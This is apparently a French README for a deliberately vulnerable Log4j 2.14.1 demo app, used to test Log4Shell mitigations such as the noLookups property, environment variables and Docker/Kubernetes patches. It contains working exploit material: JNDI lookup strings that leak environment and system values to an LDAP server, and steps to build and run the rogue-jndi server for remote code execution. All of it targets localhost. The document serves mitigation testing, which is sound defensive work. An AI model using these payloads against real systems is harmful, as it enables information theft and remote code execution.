
Testez et validez les approches d’atténuation de Log4Shell (CVE-2021-44228) avec un exemple d’application Log4j vulnérable, incluant l’exploitation JNDI, les contournements par variables d’environnement et le correctif sous Docker/Kubernetes.
Ceci est un exemple d'application utilisant Log4j 2.14.1.
code source : App.java
L'objectif est de pouvoir tester différentes approches d'atténuation. Ces approches sont également mentionnées dans Réponse de Microsoft à CVE-2021-44228 Apache Log4j 2.
Les exemples sont prévus pour un shell bash
Construire l'application
./gradlew assemble
Exécuter sans contournement
java -jar app/build/libs/app-all.jar
Tester la fonctionnalité de lookup de message en passant une chaîne en ligne de commande :
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'
Tester le contournement avec la propriété système -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar
Tester le contournement avec la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar
Tester le contournement avec la variable d'environnement JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar
Tester la solution de contournement log4j2.component.properties dans le classpath :
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App
Lorsque vous exécutez l'application, vous verrez la vulnérabilité en action :
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
Vous pouvez également déboguer la solution et placer un point d'arrêt dans le code vulnérable, situé à l'adresse https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135
Placer le débogueur dans la classe org.apache.logging.log4j.core.pattern.MessagePatternConverter à la ligne 128.
Lorsque la mesure d'atténuation est en place, le débogueur ne doit jamais entrer dans le bloc de code. L'appel LDAP ne doit pas non plus être tenté :
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]
La démonstration de la fuite d'informations dépend des modifications de https://github.com/veracode-research/rogue-jndi/pull/11
dans un terminal
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"
dans un autre terminal :
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'
Il est nécessaire d'atténuer Log4Shell immédiatement sans attendre une nouvelle version du logiciel. Voici quelques solutions pour le faire rapidement et efficacement.
C'est une solution générique : https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay
Ce n'est pas une solution générique, l'exemple provient de apache/pulsar : https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228
https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3